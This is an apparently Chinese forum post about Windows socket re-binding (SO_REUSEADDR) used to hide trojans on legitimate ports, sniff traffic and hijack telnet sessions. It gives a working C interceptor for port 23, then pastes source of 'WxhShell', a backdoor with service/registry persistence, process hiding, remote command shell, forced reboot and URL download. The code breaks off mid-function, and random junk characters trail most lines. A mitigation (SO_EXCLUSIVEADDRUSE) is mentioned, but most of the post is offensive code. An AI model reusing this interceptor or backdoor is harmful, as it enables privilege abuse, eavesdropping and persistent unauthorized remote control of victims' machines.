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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Dih~5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sDJ5'ul  
Q`r1pO  
  saddr.sin_family = AF_INET; /xrt,M@  
d@8_?G}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zx#d _SVi  
' ["Y;/>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y<a/(`  
FCqs'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ' nf"u  
YwB 5Zqr  
  这意味着什么?意味着可以进行如下的攻击: -W+dsZ Sv8  
e<iTU?eJM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 z0g$+bhy  
bsqoR8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (:-DuUt  
zx=A3I%7 A  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #'$CC<*vy  
]r|.\}2Y7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,Z MYCl]  
Sq(=Bn6E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  "thfd"-  
Z;WqKIM#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {a% T <WW  
My)}oN7\z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %\:.rs^  
tC|5;'m.2  
  #include R8":1 #&  
  #include G@,qO#5&  
  #include :4(7W[r6  
  #include    wx<5*8zP  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ='soSnT  
  int main() hrEKmRmF-  
  { 3bE^[V8/  
  WORD wVersionRequested; jUBlIVl]  
  DWORD ret; 8&dmH&  
  WSADATA wsaData; J8/>b{Y  
  BOOL val; 0FEb[+N  
  SOCKADDR_IN saddr; {(xNC#   
  SOCKADDR_IN scaddr; \ZCc~muR  
  int err; {/R4Q1  
  SOCKET s; Dk ]Y\:  
  SOCKET sc; DrMcE31  
  int caddsize; joM98H@  
  HANDLE mt; G V0q?  
  DWORD tid;   6 D!,vu  
  wVersionRequested = MAKEWORD( 2, 2 ); ,:=E+sS  
  err = WSAStartup( wVersionRequested, &wsaData ); b3Y9  
  if ( err != 0 ) { u7a4taM$d  
  printf("error!WSAStartup failed!\n"); D }b+#G(m[  
  return -1; {/#?n["  
  } tk1qgjE(?  
  saddr.sin_family = AF_INET; !u4oo-  
   `33h4G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I&>R]DV  
/\#qz.c2K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o Q{gh$6*  
  saddr.sin_port = htons(23); VZ_ 4B *D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q#:,s8TW[  
  { XPWK"t0 1  
  printf("error!socket failed!\n"); eDTEy;^o  
  return -1; /xf %Rp4}  
  } -*?a*q/#nQ  
  val = TRUE; A:NsDEt  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /l:3* u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) HC!$Z`}Y  
  { M=0I 3o}J  
  printf("error!setsockopt failed!\n"); [lyB@) 6.  
  return -1; LX*T<|c`'  
  } M%9PVePOe  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W P.6ea7k  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3~Ipcr B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8?I(wn  
wPqIy}-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *h-nI=  
  { Y\9uR!0  
  ret=GetLastError(); #kma)_X  
  printf("error!bind failed!\n"); (M5=8g%>d  
  return -1; tLV9b %i(  
  } rJ!xzge;G  
  listen(s,2); . 1?AU 6\  
  while(1) ! daXF&q  
  { 'lIT7MK  
  caddsize = sizeof(scaddr); hiP^*5h  
  //接受连接请求 U_M> Q_r(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xj%h-@o6  
  if(sc!=INVALID_SOCKET) UyK|KL  
  { ] J:^$]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B8B^@   
  if(mt==NULL) $!KV]]  
  { PlBT H  
  printf("Thread Creat Failed!\n"); $?;aW^E  
  break; oN)K2&M0  
  } `wk#5[Y_  
  } EJZl'CR  
  CloseHandle(mt); | L fH,6  
  } VCvuZU{<  
  closesocket(s); jOEb1  
  WSACleanup(); WERK JA  
  return 0; ]S%qfna e1  
  }   f4X?\eGT  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ng+k{vAj  
  { r 97 VX>  
  SOCKET ss = (SOCKET)lpParam; CQ3;NY=o  
  SOCKET sc; X g.\B1d  
  unsigned char buf[4096]; 8 +uOYNXsA  
  SOCKADDR_IN saddr; |\N[EM%.@  
  long num; PTL52+}/  
  DWORD val; xPsuDi8u  
  DWORD ret; G%rK{h  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Pi)`[\{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j: ]/AReOL  
  saddr.sin_family = AF_INET; ,bJZs-P0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xE4T\%-K  
  saddr.sin_port = htons(23); p,ZubR J"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <qHwY.  
  { ~u}[VP  
  printf("error!socket failed!\n"); d!w32Y,.  
  return -1; hDVD@b  
  } &o:ZOD.  
  val = 100; 9[$g;}w  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,:;nq>;  
  { T6AFwo,Q  
  ret = GetLastError(); OL=IUg"  
  return -1; Ep?a1&b  
  } sV3/8W13  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vbFY}  
  { . KRh59yg  
  ret = GetLastError(); yUNl)E  
  return -1; n6ud;jN|  
  } 183'1Z$KA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ScM2_k`D  
  { p3sz32RX  
  printf("error!socket connect failed!\n"); ?^,GaZ^V  
  closesocket(sc); PjRKYa_U  
  closesocket(ss); "$ u"Py  
  return -1; zjVb+Z\n  
  } r1F5&?{q  
  while(1) 1v,4[;{  
  { $,'r} %  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }Y<(1w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 uQpV1o5iA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 M|Z] B<_x  
  num = recv(ss,buf,4096,0); -,zNFC:6g  
  if(num>0) a=C?fh  
  send(sc,buf,num,0); s g6  
  else if(num==0) 0=-h9W{zI  
  break; @8V8gV? zm  
  num = recv(sc,buf,4096,0); :@YZ6?hf  
  if(num>0) !f_Kq$.{  
  send(ss,buf,num,0); G0a UZCw  
  else if(num==0) nFxogCn   
  break; Z$6W)~;,  
  } Qv']*C[!z  
  closesocket(ss); u{_T,k<!  
  closesocket(sc); nGuF, 0j  
  return 0 ; `bxgg'V  
  } 2Hq!YsJ4]  
8m6L\Z&  
5\a5^FK~  
========================================================== a-kU?&* y  
_PRm4 :  
下边附上一个代码,,WXhSHELL V&f3>#n\  
PSy=O\  
========================================================== 7aU*7!U  
7%F9.h  
#include "stdafx.h" lc'Jn$O@  
00 $W>Gr  
#include <stdio.h> wv*r}{%7g[  
#include <string.h> fY6&PuDf.  
#include <windows.h> N,;Bl&EU  
#include <winsock2.h> WIb U^WJ0  
#include <winsvc.h> %iX +"  
#include <urlmon.h> ukPV nk  
K1$Z=]a+  
#pragma comment (lib, "Ws2_32.lib") 3XA^{&}  
#pragma comment (lib, "urlmon.lib") Q"(i  
@ 8SYV}0H  
#define MAX_USER   100 // 最大客户端连接数 ?vk&k(FT  
#define BUF_SOCK   200 // sock buffer UV:_5"-  
#define KEY_BUFF   255 // 输入 buffer iKdC2m  
E.BMm/WH  
#define REBOOT     0   // 重启 Ml)WY#7  
#define SHUTDOWN   1   // 关机 &K\di*kN  
;1o"Oij  
#define DEF_PORT   5000 // 监听端口 ,iHl;3bu  
0phGn+"R  
#define REG_LEN     16   // 注册表键长度 sF}E =lY  
#define SVC_LEN     80   // NT服务名长度 Dui<$jl0b  
N2~Nc"L  
// 从dll定义API ABx0IdOcI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @F=4B0=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `zTVup&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8ayB<b>+]"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /FQumqbnt  
W;o\}irep  
// wxhshell配置信息 J NsK   
struct WSCFG { \BS^="AcpP  
  int ws_port;         // 监听端口 4w\')@`[jk  
  char ws_passstr[REG_LEN]; // 口令 T}g;kppC  
  int ws_autoins;       // 安装标记, 1=yes 0=no PvO>}(=  
  char ws_regname[REG_LEN]; // 注册表键名 v/(< fI^  
  char ws_svcname[REG_LEN]; // 服务名 6>KDK<5NQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gTs5xDvJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~s !+9\Fi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gB&'MA!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O!;!amvz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sKNN ahGjh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !,I}2,1%k  
xKIm2% U9  
}; zfv l<"Rv  
fUE jl  
// default Wxhshell configuration K 0b(D8!  
struct WSCFG wscfg={DEF_PORT, PInU-"gG  
    "xuhuanlingzhe", F9Mv$ g79  
    1, ] $Z aS\m  
    "Wxhshell", ]ul]L R%.  
    "Wxhshell", zg"<N  
            "WxhShell Service", I]zCsT.  
    "Wrsky Windows CmdShell Service", r`mfLA]d  
    "Please Input Your Password: ",  O'_D*?  
  1, (?$}Vp  
  "http://www.wrsky.com/wxhshell.exe", .( 75.^b2)  
  "Wxhshell.exe" 9.>v ;:vL  
    }; cnQ( G$kh  
# Z8<H  
// 消息定义模块 #lF8"@)a-$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $+ lc;N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8/]5h%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; & [4Gv61  
char *msg_ws_ext="\n\rExit."; )6Hc Pso6  
char *msg_ws_end="\n\rQuit."; zQ5'q  
char *msg_ws_boot="\n\rReboot..."; m+,a=sR  
char *msg_ws_poff="\n\rShutdown..."; X 5pp8~  
char *msg_ws_down="\n\rSave to "; # bP1rQ0  
sJMT _yt;  
char *msg_ws_err="\n\rErr!"; \_0nH`  
char *msg_ws_ok="\n\rOK!"; D/Bb)]9I  
TLw.rEN!;  
char ExeFile[MAX_PATH]; s [@II]  
int nUser = 0; ^!?W!k!:V  
HANDLE handles[MAX_USER]; b,~6cDU  
int OsIsNt; O cd ^{u  
3 /oVl 6  
SERVICE_STATUS       serviceStatus; OZDnU6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ':6`M  
?%#3p[  
// 函数声明 j l%27Ld  
int Install(void); R$_#7>3  
int Uninstall(void); vm 1vX;  
int DownloadFile(char *sURL, SOCKET wsh); w}X<]u  
int Boot(int flag); ):kDWc  
void HideProc(void); Z!v)zH\  
int GetOsVer(void); YyjnyG  
int Wxhshell(SOCKET wsl); 0%#ZupN  
void TalkWithClient(void *cs); w+z~Mz}Vz  
int CmdShell(SOCKET sock); bw&8"k>D?  
int StartFromService(void); Y{6y.F*Q#  
int StartWxhshell(LPSTR lpCmdLine); DTH;d-Z  
{f<2VeJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1T!(M"'Ij  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^ yyL4{/  
^FIpkhw  
// 数据结构和表定义 \mbm$E+X  
SERVICE_TABLE_ENTRY DispatchTable[] = 3E) X(WJY  
{ { ZrIA+eH  
{wscfg.ws_svcname, NTServiceMain},  MV'q_{J  
{NULL, NULL} au1uFu-  
}; Lzm9Kh;  
Xy5#wDRC  
// 自我安装 lhZXq!2p  
int Install(void) k><k|P[|  
{ e5W 8YNA  
  char svExeFile[MAX_PATH]; WzDL(~m+Z  
  HKEY key; }(FF^Mh  
  strcpy(svExeFile,ExeFile); wxS.!9K  
0go{gUI  
// 如果是win9x系统,修改注册表设为自启动 iGlg@  
if(!OsIsNt) { qT5q3A(8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Utd`T+AF*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #Ie/|  
  RegCloseKey(key); 1wAD_PI|BH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {DlQTgP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kg4\:A7Sa.  
  RegCloseKey(key); vgKZr  
  return 0; }Vjg>"  
    } _c$l@8KS^  
  } (#KSwWo{ed  
} b\^X1eo  
else { @ LPs.e  
rr~O6Db  
// 如果是NT以上系统,安装为系统服务 C&wp*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n-P<y  
if (schSCManager!=0) "Tt5cqUQoY  
{ %dn!$[D@  
  SC_HANDLE schService = CreateService %wil'  
  ( V7DMn@Ckw  
  schSCManager, B6UTooj  
  wscfg.ws_svcname, {8]Yqx)1]]  
  wscfg.ws_svcdisp, S*PcK>  
  SERVICE_ALL_ACCESS, = j)5kY`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (`'(`x#  
  SERVICE_AUTO_START, DL<b)# h#  
  SERVICE_ERROR_NORMAL, ]WFr5  
  svExeFile, V?t56n Y}  
  NULL, e\)r"!?H`  
  NULL, `-Y8T\  
  NULL, fj"1TtPq#  
  NULL, ERTjY%A  
  NULL }ZqnsLu[)  
  );  KEPNe(H  
  if (schService!=0) t9l]ie{"o.  
  { r_>]yp  
  CloseServiceHandle(schService); 7up~8e$_  
  CloseServiceHandle(schSCManager); 88uoA6Y8h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D*0[7:NSO  
  strcat(svExeFile,wscfg.ws_svcname); Dm{9;Abs%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U\y:\+e l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); emT/5'y  
  RegCloseKey(key); zy'e|92aO  
  return 0; @V}!elV  
    } 3R>"X c  
  } pG&#xRk  
  CloseServiceHandle(schSCManager); OV2/?  
} 0q6xXNAX  
} .D3k(zZ  
(4f]<Qt  
return 1; @oKW$\  
} GAP,$xAaW  
@b&_xT  
// 自我卸载 4++ &P9  
int Uninstall(void) + *)Kyk  
{ >BWe"{;  
  HKEY key; b9R0"w!ml  
EQ [K  
if(!OsIsNt) { lJvfgP-j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `eEiSf  
  RegDeleteValue(key,wscfg.ws_regname); w<LV5w+  
  RegCloseKey(key); -JfqY?Ue_2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \ gO!6  
  RegDeleteValue(key,wscfg.ws_regname); A1Es>NK[qW  
  RegCloseKey(key); %w#z   
  return 0; B4/\=MXb  
  } 'ws@I?!r  
} y$8S+N?>  
} )">uI\bi  
else { }IRD!  
.^xQtnq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vd9PBN  
if (schSCManager!=0) RF[Uy?es  
{ 6o.Dgt/f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r XT6u  
  if (schService!=0) NOSL b];  
  { De ([fC  
  if(DeleteService(schService)!=0) { oH(a*i  
  CloseServiceHandle(schService); b5)1\ANq  
  CloseServiceHandle(schSCManager); 9\Md.>  
  return 0; f"-3'kqo  
  } 7Hg;SK6t0  
  CloseServiceHandle(schService); z2iWr  
  } )i"52!  
  CloseServiceHandle(schSCManager); 4(? Z1S  
} #AH gY.  
} 0nPg`@e.  
~^/BAc  
return 1;  eIj2(q9  
} t>vr3)W  
Gs/G_E(T  
// 从指定url下载文件 u p zBd]  
int DownloadFile(char *sURL, SOCKET wsh) T"DG$R,Aj  
{ |JiN; O+K  
  HRESULT hr; XMF#l]P  
char seps[]= "/"; h AJ^(|  
char *token; W 'PW;.,  
char *file; vt#&YXu{A  
char myURL[MAX_PATH]; aJ J)ZP2+  
char myFILE[MAX_PATH]; 0HI0/Tvu$<  
Y,m=&U  
strcpy(myURL,sURL); 8&:dzS  
  token=strtok(myURL,seps); C:_-F3|]cJ  
  while(token!=NULL) p'kB1)~|  
  { \0;EHB  
    file=token; `j4OKZ  
  token=strtok(NULL,seps); Tdxc%'l  
  } [+!~RV_  
=)f.Yf|A*  
GetCurrentDirectory(MAX_PATH,myFILE); IN@ =UAc&  
strcat(myFILE, "\\"); WM0-F@_  
strcat(myFILE, file); ,Vy_%f  
  send(wsh,myFILE,strlen(myFILE),0); F6ZL{2$k@  
send(wsh,"...",3,0); UW Px|]RC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r.' cjUs  
  if(hr==S_OK) G%dzJpC(  
return 0; 0?''v>%  
else Ny$N5/b!!  
return 1; }}LjEOvL=  
*iUR1V Y  
} C_ W%]8u  
nFjaV`6`@  
// 系统电源模块 82YZN5S3]3  
int Boot(int flag) !]MGIh#u  
{ g6H`uO  
  HANDLE hToken;  eI/@ut}v  
  TOKEN_PRIVILEGES tkp; ^qtJcMK+hq  
,IPryI   
  if(OsIsNt) { nu X`>Oy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pYj}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VO<P9g$UD  
    tkp.PrivilegeCount = 1; _o-01gu.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]YUst]gu3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); in>?kbaG+  
if(flag==REBOOT) { A/OGF>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eMjW^-RgE5  
  return 0; } DjbVYH  
} H284 ]i  
else { HHZrovA#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z#@<|{eI  
  return 0; h@{CMe  
} Sj;:*jk!h  
  } Qv@)WJ="-0  
  else { V7?Pv Q  
if(flag==REBOOT) { Cdc=1,U(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J6J; !~>_  
  return 0; K>Tv M&  
} qbo W<W<H1  
else { {WuUzq`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9j1 tcT  
  return 0; ~t^'4"K*  
} rk `]]  
} @|}=W Q  
+?Y(6$o  
return 1; R-5e9vyS  
} rlkg.e6  
!%'c$U2  
// win9x进程隐藏模块 o vX9  
void HideProc(void) t8B==%  
{ A w)P%r  
ig?Tj4kD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [4HOWM>\  
  if ( hKernel != NULL ) y73@t$|  
  { r%II` i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +w+qTZyky  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $1myf Z  
    FreeLibrary(hKernel); EYU3Pl%  
  } mTZgvPJ!  
6M@m`c  
return; -;t]e6[  
} lR3JyYY{X  
oBzjEv  
// 获取操作系统版本 R^GLATM  
int GetOsVer(void) } mEsb?  
{ /N`E4bKBR  
  OSVERSIONINFO winfo; k&3'[&$I*,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d=:&tOCg2  
  GetVersionEx(&winfo); ]39A1&af}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z#062NL "  
  return 1; QfsTUAfR  
  else 0V?:5r<  
  return 0; b{lkl?@a  
} q/t~`pH3  
' Y.s}Duj  
// 客户端句柄模块 Qrt> vOUE7  
int Wxhshell(SOCKET wsl) qGKQrb,K  
{ %/=#8v4*  
  SOCKET wsh; oF#]<Z\  
  struct sockaddr_in client; 9h 0^_|"  
  DWORD myID; %-~T;_.  
Zk n1@a  
  while(nUser<MAX_USER) 1R"ymWg"  
{ HtGGcO'bqg  
  int nSize=sizeof(client); )6Qk|gIu(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ""^.fh  
  if(wsh==INVALID_SOCKET) return 1; S t0AV.N1  
r2 o-/$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C6(WnO{6  
if(handles[nUser]==0) ^DS+O>  
  closesocket(wsh); 7= x]p  
else ;&G8e* bM2  
  nUser++; XxEKv=_bc  
  } [vY? !  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  e{33%5  
fF} NPl  
  return 0; c`h/x>fa  
} Qd$!?h  
JOJ? .H&su  
// 关闭 socket kKR Z79"7s  
void CloseIt(SOCKET wsh) OA3* "d*  
{ Um9]X@z  
closesocket(wsh); :]oRx  
nUser--; f,}]h~w\  
ExitThread(0); FGG 7;0(  
} G' 'l,\3  
-l` 1j6  
// 客户端请求句柄 `CQMvX{  
void TalkWithClient(void *cs) \;Ywr3  
{ TGe{NUO  
 R)?zL;,x  
  SOCKET wsh=(SOCKET)cs; Y l1sAf/  
  char pwd[SVC_LEN]; QcDWVM'v  
  char cmd[KEY_BUFF]; X#*|_(^  
char chr[1]; aD:vNX  
int i,j; aj<=]=hr  
DIu rFDQSS  
  while (nUser < MAX_USER) { (S[" ak  
XABI2Ex  
if(wscfg.ws_passstr) { -6KGQc}U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aGY F\7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UR&Uwa&.  
  //ZeroMemory(pwd,KEY_BUFF); RjS&^u aP  
      i=0; U ExK|t  
  while(i<SVC_LEN) { -Vi"hSsUP  
O8N\  
  // 设置超时 :}Tw+S5  
  fd_set FdRead; 1&@s2ee4   
  struct timeval TimeOut; }#/,nJm'  
  FD_ZERO(&FdRead); t3)nG8> )  
  FD_SET(wsh,&FdRead); t<6`?\Gk  
  TimeOut.tv_sec=8; (&G4@Vd  
  TimeOut.tv_usec=0; `%x6;Ha  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /f7Fv*z/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t$z FsFTQ  
{{?[b^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /M-%]sayj  
  pwd=chr[0]; "gD)Uis  
  if(chr[0]==0xd || chr[0]==0xa) { U>z8gdzu  
  pwd=0; bS+by'Ea1W  
  break; 8h#/b1\  
  } DM*mOT  
  i++; iG1vy'J#o  
    } .1.Bf26}d  
Ny>tJ~I  
  // 如果是非法用户,关闭 socket MT,LO<.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %<oey%ue  
} %jK-}0Tu  
zhDmZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1CiK&fQ'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %/:{x()G  
%:/_O*~)Yg  
while(1) { p*rBT,'  
O7shY4Sr  
  ZeroMemory(cmd,KEY_BUFF); tVZj tGz=  
)j40hrR  
      // 自动支持客户端 telnet标准   #L{QnV.3  
  j=0; 9IKFrCO9,  
  while(j<KEY_BUFF) { yFT)R hN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O4kBNUI/  
  cmd[j]=chr[0]; %p}_4+[;  
  if(chr[0]==0xa || chr[0]==0xd) { h'x|yy]@3  
  cmd[j]=0; &WIiw$@  
  break; d* Y&V$?zl  
  } qJj;3{X2  
  j++; iNR6BP W  
    } xV'\2n=1T  
e`#c[lbAAM  
  // 下载文件 M?4)U"_VE  
  if(strstr(cmd,"http://")) { |Ebwl]X2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +k'5W1e  
  if(DownloadFile(cmd,wsh)) #5kQn>R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z@=1-l  
  else 1pC!F ;9Oo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #;Y JR9VN  
  } \+E{8&TH'  
  else { -y{o@  
gRuNC=sR  
    switch(cmd[0]) { |~bl%g8xP  
  h5&l#>8&  
  // 帮助 yVm~5Y&Z  
  case '?': { I=wP"(2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9cAb\5c|  
    break; AHP_B&s,Qe  
  } ?5nF` [rx  
  // 安装 BF2,E<^A  
  case 'i': { EZz Ox(g  
    if(Install()) A('=P}I^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Fn+nDn O6  
    else F kp;G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .N8AkQ(Ok  
    break; oBr/CW  
    } R74kt36M  
  // 卸载 .Y!*6I  
  case 'r': { @^:R1c![s  
    if(Uninstall()) _|xO4{X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +qe!KPk2  
    else _*1/4^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uu{I4ls6B  
    break; , gk49z9  
    } D[m;rcl  
  // 显示 wxhshell 所在路径 p5c^dC{   
  case 'p': { !CROc}  
    char svExeFile[MAX_PATH]; wxXp(o(  
    strcpy(svExeFile,"\n\r"); {%xwoMVc+  
      strcat(svExeFile,ExeFile); m]BxGwT=m  
        send(wsh,svExeFile,strlen(svExeFile),0); '$W@I  
    break; L,| 60*  
    } )_OKw?Zi  
  // 重启 Fd-PjW/E8  
  case 'b': { ]'=]=o~4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y~An'+yBa  
    if(Boot(REBOOT)) @.T '>;izr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (,`ypD+3q  
    else { q-gN0"z^6$  
    closesocket(wsh); 3(G}IWPq<  
    ExitThread(0); 1HG~}E  
    } tT87TmNsA  
    break; ;1&%Wj"d  
    } pw*<tXH!  
  // 关机 hex:e2x  
  case 'd': { 4[|^78  
